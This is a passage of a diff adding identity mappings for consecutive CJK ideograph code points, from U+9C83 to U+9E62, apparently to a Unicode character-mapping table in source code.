+ ["\u9C83", "\u9C83"], /* CJK Ideograph */
+ ["\u9C84", "\u9C84"], /* CJK Ideograph */
+ ["\u9C85", "\u9C85"], /* CJK Ideograph */
+ ["\u9C86", "\u9C86"], /* CJK Ideograph */
+ ["\u9C87", "\u9C87"], /* CJK Ideograph */
+ ["\u9C88", "\u9C88"], /* CJK Ideograph */
+ ["\u9C89", "\u9C89"], /* CJK Ideograph */
+ ["\u9C8A", "\u9C8A"], /* CJK Ideograph */
+ ["\u9C8B", "\u9C8B"], /* CJK Ideograph */
+ ["\u9C8C", "\u9C8C"], /* CJK Ideograph */
+ ["\u9C8D", "\u9C8D"], /* CJK Ideograph */
+ ["\u9C8E", "\u9C8E"], /* CJK Ideograph */
+ ["\u9C8F", "\u9C8F"], /* CJK Ideograph */
+ ["\u9C90", "\u9C90"], /* CJK Ideograph */
+ ["\u9C91", "\u9C91"], /* CJK Ideograph */
+ ["\u9C92", "\u9C92"], /* CJK Ideograph */
+ ["\u9C93", "\u9C93"], /* CJK Ideograph */
+ ["\u9C94", "\u9C94"], /* CJK Ideograph */
+ ["\u9C95", "\u9C95"], /* CJK Ideograph */
+ ["\u9C96", "\u9C96"], /* CJK Ideograph */
+ ["\u9C97", "\u9C97"], /* CJK Ideograph */
+ ["\u9C98", "\u9C98"], /* CJK Ideograph */
+ ["\u9C99", "\u9C99"], /* CJK Ideograph */
+ ["\u9C9A", "\u9C9A"], /* CJK Ideograph */
+ ["\u9C9B", "\u9C9B"], /* CJK Ideograph */
+ ["\u9C9C", "\u9C9C"], /* CJK Ideograph */
+ ["\u9C9D", "\u9C9D"], /* CJK Ideograph */
+ ["\u9C9E", "\u9C9E"], /* CJK Ideograph */
+ ["\u9C9F", "\u9C9F"], /* CJK Ideograph */
+ ["\u9CA0", "\u9CA0"], /* CJK Ideograph */
+ ["\u9CA1", "\u9CA1"], /* CJK Ideograph */
+ ["\u9CA2", "\u9CA2"], /* CJK Ideograph */
+ ["\u9CA3", "\u9CA3"], /* CJK Ideograph */
+ ["\u9CA4", "\u9CA4"], /* CJK Ideograph */
+ ["\u9CA5", "\u9CA5"], /* CJK Ideograph */
+ ["\u9CA6", "\u9CA6"], /* CJK Ideograph */
+ ["\u9CA7", "\u9CA7"], /* CJK Ideograph */
+ ["\u9CA8", "\u9CA8"], /* CJK Ideograph */
+ ["\u9CA9", "\u9CA9"], /* CJK Ideograph */
+ ["\u9CAA", "\u9CAA"], /* CJK Ideograph */
+ ["\u9CAB", "\u9CAB"], /* CJK Ideograph */
+ ["\u9CAC", "\u9CAC"], /* CJK Ideograph */
+ ["\u9CAD", "\u9CAD"], /* CJK Ideograph */
+ ["\u9CAE", "\u9CAE"], /* CJK Ideograph */
+ ["\u9CAF", "\u9CAF"], /* CJK Ideograph */
+ ["\u9CB0", "\u9CB0"], /* CJK Ideograph */
+ ["\u9CB1", "\u9CB1"], /* CJK Ideograph */
+ ["\u9CB2", "\u9CB2"], /* CJK Ideograph */
+ ["\u9CB3", "\u9CB3"], /* CJK Ideograph */
+ ["\u9CB4", "\u9CB4"], /* CJK Ideograph */
+ ["\u9CB5", "\u9CB5"], /* CJK Ideograph */
+ ["\u9CB6", "\u9CB6"], /* CJK Ideograph */
+ ["\u9CB7", "\u9CB7"], /* CJK Ideograph */
+ ["\u9CB8", "\u9CB8"], /* CJK Ideograph */
+ ["\u9CB9", "\u9CB9"], /* CJK Ideograph */
+ ["\u9CBA", "\u9CBA"], /* CJK Ideograph */
+ ["\u9CBB", "\u9CBB"], /* CJK Ideograph */
+ ["\u9CBC", "\u9CBC"], /* CJK Ideograph */
+ ["\u9CBD", "\u9CBD"], /* CJK Ideograph */
+ ["\u9CBE", "\u9CBE"], /* CJK Ideograph */
+ ["\u9CBF", "\u9CBF"], /* CJK Ideograph */
+ ["\u9CC0", "\u9CC0"], /* CJK Ideograph */
+ ["\u9CC1", "\u9CC1"], /* CJK Ideograph */
+ ["\u9CC2", "\u9CC2"], /* CJK Ideograph */
+ ["\u9CC3", "\u9CC3"], /* CJK Ideograph */
+ ["\u9CC4", "\u9CC4"], /* CJK Ideograph */
+ ["\u9CC5", "\u9CC5"], /* CJK Ideograph */
+ ["\u9CC6", "\u9CC6"], /* CJK Ideograph */
+ ["\u9CC7", "\u9CC7"], /* CJK Ideograph */
+ ["\u9CC8", "\u9CC8"], /* CJK Ideograph */
+ ["\u9CC9", "\u9CC9"], /* CJK Ideograph */
+ ["\u9CCA", "\u9CCA"], /* CJK Ideograph */
+ ["\u9CCB", "\u9CCB"], /* CJK Ideograph */
+ ["\u9CCC", "\u9CCC"], /* CJK Ideograph */
+ ["\u9CCD", "\u9CCD"], /* CJK Ideograph */
+ ["\u9CCE", "\u9CCE"], /* CJK Ideograph */
+ ["\u9CCF", "\u9CCF"], /* CJK Ideograph */
+ ["\u9CD0", "\u9CD0"], /* CJK Ideograph */
+ ["\u9CD1", "\u9CD1"], /* CJK Ideograph */
+ ["\u9CD2", "\u9CD2"], /* CJK Ideograph */
+ ["\u9CD3", "\u9CD3"], /* CJK Ideograph */
+ ["\u9CD4", "\u9CD4"], /* CJK Ideograph */
+ ["\u9CD5", "\u9CD5"], /* CJK Ideograph */
+ ["\u9CD6", "\u9CD6"], /* CJK Ideograph */
+ ["\u9CD7", "\u9CD7"], /* CJK Ideograph */
+ ["\u9CD8", "\u9CD8"], /* CJK Ideograph */
+ ["\u9CD9", "\u9CD9"], /* CJK Ideograph */
+ ["\u9CDA", "\u9CDA"], /* CJK Ideograph */
+ ["\u9CDB", "\u9CDB"], /* CJK Ideograph */
+ ["\u9CDC", "\u9CDC"], /* CJK Ideograph */
+ ["\u9CDD", "\u9CDD"], /* CJK Ideograph */
+ ["\u9CDE", "\u9CDE"], /* CJK Ideograph */
+ ["\u9CDF", "\u9CDF"], /* CJK Ideograph */
+ ["\u9CE0", "\u9CE0"], /* CJK Ideograph */
+ ["\u9CE1", "\u9CE1"], /* CJK Ideograph */
+ ["\u9CE2", "\u9CE2"], /* CJK Ideograph */
+ ["\u9CE3", "\u9CE3"], /* CJK Ideograph */
+ ["\u9CE4", "\u9CE4"], /* CJK Ideograph */
+ ["\u9CE5", "\u9CE5"], /* CJK Ideograph */
+ ["\u9CE6", "\u9CE6"], /* CJK Ideograph */
+ ["\u9CE7", "\u9CE7"], /* CJK Ideograph */
+ ["\u9CE8", "\u9CE8"], /* CJK Ideograph */
+ ["\u9CE9", "\u9CE9"], /* CJK Ideograph */
+ ["\u9CEA", "\u9CEA"], /* CJK Ideograph */
+ ["\u9CEB", "\u9CEB"], /* CJK Ideograph */
+ ["\u9CEC", "\u9CEC"], /* CJK Ideograph */
+ ["\u9CED", "\u9CED"], /* CJK Ideograph */
+ ["\u9CEE", "\u9CEE"], /* CJK Ideograph */
+ ["\u9CEF", "\u9CEF"], /* CJK Ideograph */
+ ["\u9CF0", "\u9CF0"], /* CJK Ideograph */
+ ["\u9CF1", "\u9CF1"], /* CJK Ideograph */
+ ["\u9CF2", "\u9CF2"], /* CJK Ideograph */
+ ["\u9CF3", "\u9CF3"], /* CJK Ideograph */
+ ["\u9CF4", "\u9CF4"], /* CJK Ideograph */
+ ["\u9CF5", "\u9CF5"], /* CJK Ideograph */
+ ["\u9CF6", "\u9CF6"], /* CJK Ideograph */
+ ["\u9CF7", "\u9CF7"], /* CJK Ideograph */
+ ["\u9CF8", "\u9CF8"], /* CJK Ideograph */
+ ["\u9CF9", "\u9CF9"], /* CJK Ideograph */
+ ["\u9CFA", "\u9CFA"], /* CJK Ideograph */
+ ["\u9CFB", "\u9CFB"], /* CJK Ideograph */
+ ["\u9CFC", "\u9CFC"], /* CJK Ideograph */
+ ["\u9CFD", "\u9CFD"], /* CJK Ideograph */
+ ["\u9CFE", "\u9CFE"], /* CJK Ideograph */
+ ["\u9CFF", "\u9CFF"], /* CJK Ideograph */
+ ["\u9D00", "\u9D00"], /* CJK Ideograph */
+ ["\u9D01", "\u9D01"], /* CJK Ideograph */
+ ["\u9D02", "\u9D02"], /* CJK Ideograph */
+ ["\u9D03", "\u9D03"], /* CJK Ideograph */
+ ["\u9D04", "\u9D04"], /* CJK Ideograph */
+ ["\u9D05", "\u9D05"], /* CJK Ideograph */
+ ["\u9D06", "\u9D06"], /* CJK Ideograph */
+ ["\u9D07", "\u9D07"], /* CJK Ideograph */
+ ["\u9D08", "\u9D08"], /* CJK Ideograph */
+ ["\u9D09", "\u9D09"], /* CJK Ideograph */
+ ["\u9D0A", "\u9D0A"], /* CJK Ideograph */
+ ["\u9D0B", "\u9D0B"], /* CJK Ideograph */
+ ["\u9D0C", "\u9D0C"], /* CJK Ideograph */
+ ["\u9D0D", "\u9D0D"], /* CJK Ideograph */
+ ["\u9D0E", "\u9D0E"], /* CJK Ideograph */
+ ["\u9D0F", "\u9D0F"], /* CJK Ideograph */
+ ["\u9D10", "\u9D10"], /* CJK Ideograph */
+ ["\u9D11", "\u9D11"], /* CJK Ideograph */
+ ["\u9D12", "\u9D12"], /* CJK Ideograph */
+ ["\u9D13", "\u9D13"], /* CJK Ideograph */
+ ["\u9D14", "\u9D14"], /* CJK Ideograph */
+ ["\u9D15", "\u9D15"], /* CJK Ideograph */
+ ["\u9D16", "\u9D16"], /* CJK Ideograph */
+ ["\u9D17", "\u9D17"], /* CJK Ideograph */
+ ["\u9D18", "\u9D18"], /* CJK Ideograph */
+ ["\u9D19", "\u9D19"], /* CJK Ideograph */
+ ["\u9D1A", "\u9D1A"], /* CJK Ideograph */
+ ["\u9D1B", "\u9D1B"], /* CJK Ideograph */
+ ["\u9D1C", "\u9D1C"], /* CJK Ideograph */
+ ["\u9D1D", "\u9D1D"], /* CJK Ideograph */
+ ["\u9D1E", "\u9D1E"], /* CJK Ideograph */
+ ["\u9D1F", "\u9D1F"], /* CJK Ideograph */
+ ["\u9D20", "\u9D20"], /* CJK Ideograph */
+ ["\u9D21", "\u9D21"], /* CJK Ideograph */
+ ["\u9D22", "\u9D22"], /* CJK Ideograph */
+ ["\u9D23", "\u9D23"], /* CJK Ideograph */
+ ["\u9D24", "\u9D24"], /* CJK Ideograph */
+ ["\u9D25", "\u9D25"], /* CJK Ideograph */
+ ["\u9D26", "\u9D26"], /* CJK Ideograph */
+ ["\u9D27", "\u9D27"], /* CJK Ideograph */
+ ["\u9D28", "\u9D28"], /* CJK Ideograph */
+ ["\u9D29", "\u9D29"], /* CJK Ideograph */
+ ["\u9D2A", "\u9D2A"], /* CJK Ideograph */
+ ["\u9D2B", "\u9D2B"], /* CJK Ideograph */
+ ["\u9D2C", "\u9D2C"], /* CJK Ideograph */
+ ["\u9D2D", "\u9D2D"], /* CJK Ideograph */
+ ["\u9D2E", "\u9D2E"], /* CJK Ideograph */
+ ["\u9D2F", "\u9D2F"], /* CJK Ideograph */
+ ["\u9D30", "\u9D30"], /* CJK Ideograph */
+ ["\u9D31", "\u9D31"], /* CJK Ideograph */
+ ["\u9D32", "\u9D32"], /* CJK Ideograph */
+ ["\u9D33", "\u9D33"], /* CJK Ideograph */
+ ["\u9D34", "\u9D34"], /* CJK Ideograph */
+ ["\u9D35", "\u9D35"], /* CJK Ideograph */
+ ["\u9D36", "\u9D36"], /* CJK Ideograph */
+ ["\u9D37", "\u9D37"], /* CJK Ideograph */
+ ["\u9D38", "\u9D38"], /* CJK Ideograph */
+ ["\u9D39", "\u9D39"], /* CJK Ideograph */
+ ["\u9D3A", "\u9D3A"], /* CJK Ideograph */
+ ["\u9D3B", "\u9D3B"], /* CJK Ideograph */
+ ["\u9D3C", "\u9D3C"], /* CJK Ideograph */
+ ["\u9D3D", "\u9D3D"], /* CJK Ideograph */
+ ["\u9D3E", "\u9D3E"], /* CJK Ideograph */
+ ["\u9D3F", "\u9D3F"], /* CJK Ideograph */
+ ["\u9D40", "\u9D40"], /* CJK Ideograph */
+ ["\u9D41", "\u9D41"], /* CJK Ideograph */
+ ["\u9D42", "\u9D42"], /* CJK Ideograph */
+ ["\u9D43", "\u9D43"], /* CJK Ideograph */
+ ["\u9D44", "\u9D44"], /* CJK Ideograph */
+ ["\u9D45", "\u9D45"], /* CJK Ideograph */
+ ["\u9D46", "\u9D46"], /* CJK Ideograph */
+ ["\u9D47", "\u9D47"], /* CJK Ideograph */
+ ["\u9D48", "\u9D48"], /* CJK Ideograph */
+ ["\u9D49", "\u9D49"], /* CJK Ideograph */
+ ["\u9D4A", "\u9D4A"], /* CJK Ideograph */
+ ["\u9D4B", "\u9D4B"], /* CJK Ideograph */
+ ["\u9D4C", "\u9D4C"], /* CJK Ideograph */
+ ["\u9D4D", "\u9D4D"], /* CJK Ideograph */
+ ["\u9D4E", "\u9D4E"], /* CJK Ideograph */
+ ["\u9D4F", "\u9D4F"], /* CJK Ideograph */
+ ["\u9D50", "\u9D50"], /* CJK Ideograph */
+ ["\u9D51", "\u9D51"], /* CJK Ideograph */
+ ["\u9D52", "\u9D52"], /* CJK Ideograph */
+ ["\u9D53", "\u9D53"], /* CJK Ideograph */
+ ["\u9D54", "\u9D54"], /* CJK Ideograph */
+ ["\u9D55", "\u9D55"], /* CJK Ideograph */
+ ["\u9D56", "\u9D56"], /* CJK Ideograph */
+ ["\u9D57", "\u9D57"], /* CJK Ideograph */
+ ["\u9D58", "\u9D58"], /* CJK Ideograph */
+ ["\u9D59", "\u9D59"], /* CJK Ideograph */
+ ["\u9D5A", "\u9D5A"], /* CJK Ideograph */
+ ["\u9D5B", "\u9D5B"], /* CJK Ideograph */
+ ["\u9D5C", "\u9D5C"], /* CJK Ideograph */
+ ["\u9D5D", "\u9D5D"], /* CJK Ideograph */
+ ["\u9D5E", "\u9D5E"], /* CJK Ideograph */
+ ["\u9D5F", "\u9D5F"], /* CJK Ideograph */
+ ["\u9D60", "\u9D60"], /* CJK Ideograph */
+ ["\u9D61", "\u9D61"], /* CJK Ideograph */
+ ["\u9D62", "\u9D62"], /* CJK Ideograph */
+ ["\u9D63", "\u9D63"], /* CJK Ideograph */
+ ["\u9D64", "\u9D64"], /* CJK Ideograph */
+ ["\u9D65", "\u9D65"], /* CJK Ideograph */
+ ["\u9D66", "\u9D66"], /* CJK Ideograph */
+ ["\u9D67", "\u9D67"], /* CJK Ideograph */
+ ["\u9D68", "\u9D68"], /* CJK Ideograph */
+ ["\u9D69", "\u9D69"], /* CJK Ideograph */
+ ["\u9D6A", "\u9D6A"], /* CJK Ideograph */
+ ["\u9D6B", "\u9D6B"], /* CJK Ideograph */
+ ["\u9D6C", "\u9D6C"], /* CJK Ideograph */
+ ["\u9D6D", "\u9D6D"], /* CJK Ideograph */
+ ["\u9D6E", "\u9D6E"], /* CJK Ideograph */
+ ["\u9D6F", "\u9D6F"], /* CJK Ideograph */
+ ["\u9D70", "\u9D70"], /* CJK Ideograph */
+ ["\u9D71", "\u9D71"], /* CJK Ideograph */
+ ["\u9D72", "\u9D72"], /* CJK Ideograph */
+ ["\u9D73", "\u9D73"], /* CJK Ideograph */
+ ["\u9D74", "\u9D74"], /* CJK Ideograph */
+ ["\u9D75", "\u9D75"], /* CJK Ideograph */
+ ["\u9D76", "\u9D76"], /* CJK Ideograph */
+ ["\u9D77", "\u9D77"], /* CJK Ideograph */
+ ["\u9D78", "\u9D78"], /* CJK Ideograph */
+ ["\u9D79", "\u9D79"], /* CJK Ideograph */
+ ["\u9D7A", "\u9D7A"], /* CJK Ideograph */
+ ["\u9D7B", "\u9D7B"], /* CJK Ideograph */
+ ["\u9D7C", "\u9D7C"], /* CJK Ideograph */
+ ["\u9D7D", "\u9D7D"], /* CJK Ideograph */
+ ["\u9D7E", "\u9D7E"], /* CJK Ideograph */
+ ["\u9D7F", "\u9D7F"], /* CJK Ideograph */
+ ["\u9D80", "\u9D80"], /* CJK Ideograph */
+ ["\u9D81", "\u9D81"], /* CJK Ideograph */
+ ["\u9D82", "\u9D82"], /* CJK Ideograph */
+ ["\u9D83", "\u9D83"], /* CJK Ideograph */
+ ["\u9D84", "\u9D84"], /* CJK Ideograph */
+ ["\u9D85", "\u9D85"], /* CJK Ideograph */
+ ["\u9D86", "\u9D86"], /* CJK Ideograph */
+ ["\u9D87", "\u9D87"], /* CJK Ideograph */
+ ["\u9D88", "\u9D88"], /* CJK Ideograph */
+ ["\u9D89", "\u9D89"], /* CJK Ideograph */
+ ["\u9D8A", "\u9D8A"], /* CJK Ideograph */
+ ["\u9D8B", "\u9D8B"], /* CJK Ideograph */
+ ["\u9D8C", "\u9D8C"], /* CJK Ideograph */
+ ["\u9D8D", "\u9D8D"], /* CJK Ideograph */
+ ["\u9D8E", "\u9D8E"], /* CJK Ideograph */
+ ["\u9D8F", "\u9D8F"], /* CJK Ideograph */
+ ["\u9D90", "\u9D90"], /* CJK Ideograph */
+ ["\u9D91", "\u9D91"], /* CJK Ideograph */
+ ["\u9D92", "\u9D92"], /* CJK Ideograph */
+ ["\u9D93", "\u9D93"], /* CJK Ideograph */
+ ["\u9D94", "\u9D94"], /* CJK Ideograph */
+ ["\u9D95", "\u9D95"], /* CJK Ideograph */
+ ["\u9D96", "\u9D96"], /* CJK Ideograph */
+ ["\u9D97", "\u9D97"], /* CJK Ideograph */
+ ["\u9D98", "\u9D98"], /* CJK Ideograph */
+ ["\u9D99", "\u9D99"], /* CJK Ideograph */
+ ["\u9D9A", "\u9D9A"], /* CJK Ideograph */
+ ["\u9D9B", "\u9D9B"], /* CJK Ideograph */
+ ["\u9D9C", "\u9D9C"], /* CJK Ideograph */
+ ["\u9D9D", "\u9D9D"], /* CJK Ideograph */
+ ["\u9D9E", "\u9D9E"], /* CJK Ideograph */
+ ["\u9D9F", "\u9D9F"], /* CJK Ideograph */
+ ["\u9DA0", "\u9DA0"], /* CJK Ideograph */
+ ["\u9DA1", "\u9DA1"], /* CJK Ideograph */
+ ["\u9DA2", "\u9DA2"], /* CJK Ideograph */
+ ["\u9DA3", "\u9DA3"], /* CJK Ideograph */
+ ["\u9DA4", "\u9DA4"], /* CJK Ideograph */
+ ["\u9DA5", "\u9DA5"], /* CJK Ideograph */
+ ["\u9DA6", "\u9DA6"], /* CJK Ideograph */
+ ["\u9DA7", "\u9DA7"], /* CJK Ideograph */
+ ["\u9DA8", "\u9DA8"], /* CJK Ideograph */
+ ["\u9DA9", "\u9DA9"], /* CJK Ideograph */
+ ["\u9DAA", "\u9DAA"], /* CJK Ideograph */
+ ["\u9DAB", "\u9DAB"], /* CJK Ideograph */
+ ["\u9DAC", "\u9DAC"], /* CJK Ideograph */
+ ["\u9DAD", "\u9DAD"], /* CJK Ideograph */
+ ["\u9DAE", "\u9DAE"], /* CJK Ideograph */
+ ["\u9DAF", "\u9DAF"], /* CJK Ideograph */
+ ["\u9DB0", "\u9DB0"], /* CJK Ideograph */
+ ["\u9DB1", "\u9DB1"], /* CJK Ideograph */
+ ["\u9DB2", "\u9DB2"], /* CJK Ideograph */
+ ["\u9DB3", "\u9DB3"], /* CJK Ideograph */
+ ["\u9DB4", "\u9DB4"], /* CJK Ideograph */
+ ["\u9DB5", "\u9DB5"], /* CJK Ideograph */
+ ["\u9DB6", "\u9DB6"], /* CJK Ideograph */
+ ["\u9DB7", "\u9DB7"], /* CJK Ideograph */
+ ["\u9DB8", "\u9DB8"], /* CJK Ideograph */
+ ["\u9DB9", "\u9DB9"], /* CJK Ideograph */
+ ["\u9DBA", "\u9DBA"], /* CJK Ideograph */
+ ["\u9DBB", "\u9DBB"], /* CJK Ideograph */
+ ["\u9DBC", "\u9DBC"], /* CJK Ideograph */
+ ["\u9DBD", "\u9DBD"], /* CJK Ideograph */
+ ["\u9DBE", "\u9DBE"], /* CJK Ideograph */
+ ["\u9DBF", "\u9DBF"], /* CJK Ideograph */
+ ["\u9DC0", "\u9DC0"], /* CJK Ideograph */
+ ["\u9DC1", "\u9DC1"], /* CJK Ideograph */
+ ["\u9DC2", "\u9DC2"], /* CJK Ideograph */
+ ["\u9DC3", "\u9DC3"], /* CJK Ideograph */
+ ["\u9DC4", "\u9DC4"], /* CJK Ideograph */
+ ["\u9DC5", "\u9DC5"], /* CJK Ideograph */
+ ["\u9DC6", "\u9DC6"], /* CJK Ideograph */
+ ["\u9DC7", "\u9DC7"], /* CJK Ideograph */
+ ["\u9DC8", "\u9DC8"], /* CJK Ideograph */
+ ["\u9DC9", "\u9DC9"], /* CJK Ideograph */
+ ["\u9DCA", "\u9DCA"], /* CJK Ideograph */
+ ["\u9DCB", "\u9DCB"], /* CJK Ideograph */
+ ["\u9DCC", "\u9DCC"], /* CJK Ideograph */
+ ["\u9DCD", "\u9DCD"], /* CJK Ideograph */
+ ["\u9DCE", "\u9DCE"], /* CJK Ideograph */
+ ["\u9DCF", "\u9DCF"], /* CJK Ideograph */
+ ["\u9DD0", "\u9DD0"], /* CJK Ideograph */
+ ["\u9DD1", "\u9DD1"], /* CJK Ideograph */
+ ["\u9DD2", "\u9DD2"], /* CJK Ideograph */
+ ["\u9DD3", "\u9DD3"], /* CJK Ideograph */
+ ["\u9DD4", "\u9DD4"], /* CJK Ideograph */
+ ["\u9DD5", "\u9DD5"], /* CJK Ideograph */
+ ["\u9DD6", "\u9DD6"], /* CJK Ideograph */
+ ["\u9DD7", "\u9DD7"], /* CJK Ideograph */
+ ["\u9DD8", "\u9DD8"], /* CJK Ideograph */
+ ["\u9DD9", "\u9DD9"], /* CJK Ideograph */
+ ["\u9DDA", "\u9DDA"], /* CJK Ideograph */
+ ["\u9DDB", "\u9DDB"], /* CJK Ideograph */
+ ["\u9DDC", "\u9DDC"], /* CJK Ideograph */
+ ["\u9DDD", "\u9DDD"], /* CJK Ideograph */
+ ["\u9DDE", "\u9DDE"], /* CJK Ideograph */
+ ["\u9DDF", "\u9DDF"], /* CJK Ideograph */
+ ["\u9DE0", "\u9DE0"], /* CJK Ideograph */
+ ["\u9DE1", "\u9DE1"], /* CJK Ideograph */
+ ["\u9DE2", "\u9DE2"], /* CJK Ideograph */
+ ["\u9DE3", "\u9DE3"], /* CJK Ideograph */
+ ["\u9DE4", "\u9DE4"], /* CJK Ideograph */
+ ["\u9DE5", "\u9DE5"], /* CJK Ideograph */
+ ["\u9DE6", "\u9DE6"], /* CJK Ideograph */
+ ["\u9DE7", "\u9DE7"], /* CJK Ideograph */
+ ["\u9DE8", "\u9DE8"], /* CJK Ideograph */
+ ["\u9DE9", "\u9DE9"], /* CJK Ideograph */
+ ["\u9DEA", "\u9DEA"], /* CJK Ideograph */
+ ["\u9DEB", "\u9DEB"], /* CJK Ideograph */
+ ["\u9DEC", "\u9DEC"], /* CJK Ideograph */
+ ["\u9DED", "\u9DED"], /* CJK Ideograph */
+ ["\u9DEE", "\u9DEE"], /* CJK Ideograph */
+ ["\u9DEF", "\u9DEF"], /* CJK Ideograph */
+ ["\u9DF0", "\u9DF0"], /* CJK Ideograph */
+ ["\u9DF1", "\u9DF1"], /* CJK Ideograph */
+ ["\u9DF2", "\u9DF2"], /* CJK Ideograph */
+ ["\u9DF3", "\u9DF3"], /* CJK Ideograph */
+ ["\u9DF4", "\u9DF4"], /* CJK Ideograph */
+ ["\u9DF5", "\u9DF5"], /* CJK Ideograph */
+ ["\u9DF6", "\u9DF6"], /* CJK Ideograph */
+ ["\u9DF7", "\u9DF7"], /* CJK Ideograph */
+ ["\u9DF8", "\u9DF8"], /* CJK Ideograph */
+ ["\u9DF9", "\u9DF9"], /* CJK Ideograph */
+ ["\u9DFA", "\u9DFA"], /* CJK Ideograph */
+ ["\u9DFB", "\u9DFB"], /* CJK Ideograph */
+ ["\u9DFC", "\u9DFC"], /* CJK Ideograph */
+ ["\u9DFD", "\u9DFD"], /* CJK Ideograph */
+ ["\u9DFE", "\u9DFE"], /* CJK Ideograph */
+ ["\u9DFF", "\u9DFF"], /* CJK Ideograph */
+ ["\u9E00", "\u9E00"], /* CJK Ideograph */
+ ["\u9E01", "\u9E01"], /* CJK Ideograph */
+ ["\u9E02", "\u9E02"], /* CJK Ideograph */
+ ["\u9E03", "\u9E03"], /* CJK Ideograph */
+ ["\u9E04", "\u9E04"], /* CJK Ideograph */
+ ["\u9E05", "\u9E05"], /* CJK Ideograph */
+ ["\u9E06", "\u9E06"], /* CJK Ideograph */
+ ["\u9E07", "\u9E07"], /* CJK Ideograph */
+ ["\u9E08", "\u9E08"], /* CJK Ideograph */
+ ["\u9E09", "\u9E09"], /* CJK Ideograph */
+ ["\u9E0A", "\u9E0A"], /* CJK Ideograph */
+ ["\u9E0B", "\u9E0B"], /* CJK Ideograph */
+ ["\u9E0C", "\u9E0C"], /* CJK Ideograph */
+ ["\u9E0D", "\u9E0D"], /* CJK Ideograph */
+ ["\u9E0E", "\u9E0E"], /* CJK Ideograph */
+ ["\u9E0F", "\u9E0F"], /* CJK Ideograph */
+ ["\u9E10", "\u9E10"], /* CJK Ideograph */
+ ["\u9E11", "\u9E11"], /* CJK Ideograph */
+ ["\u9E12", "\u9E12"], /* CJK Ideograph */
+ ["\u9E13", "\u9E13"], /* CJK Ideograph */
+ ["\u9E14", "\u9E14"], /* CJK Ideograph */
+ ["\u9E15", "\u9E15"], /* CJK Ideograph */
+ ["\u9E16", "\u9E16"], /* CJK Ideograph */
+ ["\u9E17", "\u9E17"], /* CJK Ideograph */
+ ["\u9E18", "\u9E18"], /* CJK Ideograph */
+ ["\u9E19", "\u9E19"], /* CJK Ideograph */
+ ["\u9E1A", "\u9E1A"], /* CJK Ideograph */
+ ["\u9E1B", "\u9E1B"], /* CJK Ideograph */
+ ["\u9E1C", "\u9E1C"], /* CJK Ideograph */
+ ["\u9E1D", "\u9E1D"], /* CJK Ideograph */
+ ["\u9E1E", "\u9E1E"], /* CJK Ideograph */
+ ["\u9E1F", "\u9E1F"], /* CJK Ideograph */
+ ["\u9E20", "\u9E20"], /* CJK Ideograph */
+ ["\u9E21", "\u9E21"], /* CJK Ideograph */
+ ["\u9E22", "\u9E22"], /* CJK Ideograph */
+ ["\u9E23", "\u9E23"], /* CJK Ideograph */
+ ["\u9E24", "\u9E24"], /* CJK Ideograph */
+ ["\u9E25", "\u9E25"], /* CJK Ideograph */
+ ["\u9E26", "\u9E26"], /* CJK Ideograph */
+ ["\u9E27", "\u9E27"], /* CJK Ideograph */
+ ["\u9E28", "\u9E28"], /* CJK Ideograph */
+ ["\u9E29", "\u9E29"], /* CJK Ideograph */
+ ["\u9E2A", "\u9E2A"], /* CJK Ideograph */
+ ["\u9E2B", "\u9E2B"], /* CJK Ideograph */
+ ["\u9E2C", "\u9E2C"], /* CJK Ideograph */
+ ["\u9E2D", "\u9E2D"], /* CJK Ideograph */
+ ["\u9E2E", "\u9E2E"], /* CJK Ideograph */
+ ["\u9E2F", "\u9E2F"], /* CJK Ideograph */
+ ["\u9E30", "\u9E30"], /* CJK Ideograph */
+ ["\u9E31", "\u9E31"], /* CJK Ideograph */
+ ["\u9E32", "\u9E32"], /* CJK Ideograph */
+ ["\u9E33", "\u9E33"], /* CJK Ideograph */
+ ["\u9E34", "\u9E34"], /* CJK Ideograph */
+ ["\u9E35", "\u9E35"], /* CJK Ideograph */
+ ["\u9E36", "\u9E36"], /* CJK Ideograph */
+ ["\u9E37", "\u9E37"], /* CJK Ideograph */
+ ["\u9E38", "\u9E38"], /* CJK Ideograph */
+ ["\u9E39", "\u9E39"], /* CJK Ideograph */
+ ["\u9E3A", "\u9E3A"], /* CJK Ideograph */
+ ["\u9E3B", "\u9E3B"], /* CJK Ideograph */
+ ["\u9E3C", "\u9E3C"], /* CJK Ideograph */
+ ["\u9E3D", "\u9E3D"], /* CJK Ideograph */
+ ["\u9E3E", "\u9E3E"], /* CJK Ideograph */
+ ["\u9E3F", "\u9E3F"], /* CJK Ideograph */
+ ["\u9E40", "\u9E40"], /* CJK Ideograph */
+ ["\u9E41", "\u9E41"], /* CJK Ideograph */
+ ["\u9E42", "\u9E42"], /* CJK Ideograph */
+ ["\u9E43", "\u9E43"], /* CJK Ideograph */
+ ["\u9E44", "\u9E44"], /* CJK Ideograph */
+ ["\u9E45", "\u9E45"], /* CJK Ideograph */
+ ["\u9E46", "\u9E46"], /* CJK Ideograph */
+ ["\u9E47", "\u9E47"], /* CJK Ideograph */
+ ["\u9E48", "\u9E48"], /* CJK Ideograph */
+ ["\u9E49", "\u9E49"], /* CJK Ideograph */
+ ["\u9E4A", "\u9E4A"], /* CJK Ideograph */
+ ["\u9E4B", "\u9E4B"], /* CJK Ideograph */
+ ["\u9E4C", "\u9E4C"], /* CJK Ideograph */
+ ["\u9E4D", "\u9E4D"], /* CJK Ideograph */
+ ["\u9E4E", "\u9E4E"], /* CJK Ideograph */
+ ["\u9E4F", "\u9E4F"], /* CJK Ideograph */
+ ["\u9E50", "\u9E50"], /* CJK Ideograph */
+ ["\u9E51", "\u9E51"], /* CJK Ideograph */
+ ["\u9E52", "\u9E52"], /* CJK Ideograph */
+ ["\u9E53", "\u9E53"], /* CJK Ideograph */
+ ["\u9E54", "\u9E54"], /* CJK Ideograph */
+ ["\u9E55", "\u9E55"], /* CJK Ideograph */
+ ["\u9E56", "\u9E56"], /* CJK Ideograph */
+ ["\u9E57", "\u9E57"], /* CJK Ideograph */
+ ["\u9E58", "\u9E58"], /* CJK Ideograph */
+ ["\u9E59", "\u9E59"], /* CJK Ideograph */
+ ["\u9E5A", "\u9E5A"], /* CJK Ideograph */
+ ["\u9E5B", "\u9E5B"], /* CJK Ideograph */
+ ["\u9E5C", "\u9E5C"], /* CJK Ideograph */
+ ["\u9E5D", "\u9E5D"], /* CJK Ideograph */
+ ["\u9E5E", "\u9E5E"], /* CJK Ideograph */
+ ["\u9E5F", "\u9E5F"], /* CJK Ideograph */
+ ["\u9E60", "\u9E60"], /* CJK Ideograph */
+ ["\u9E61", "\u9E61"], /* CJK Ideograph */
+ ["\u9E62", "\u9E62"], /* CJK Ideograph */
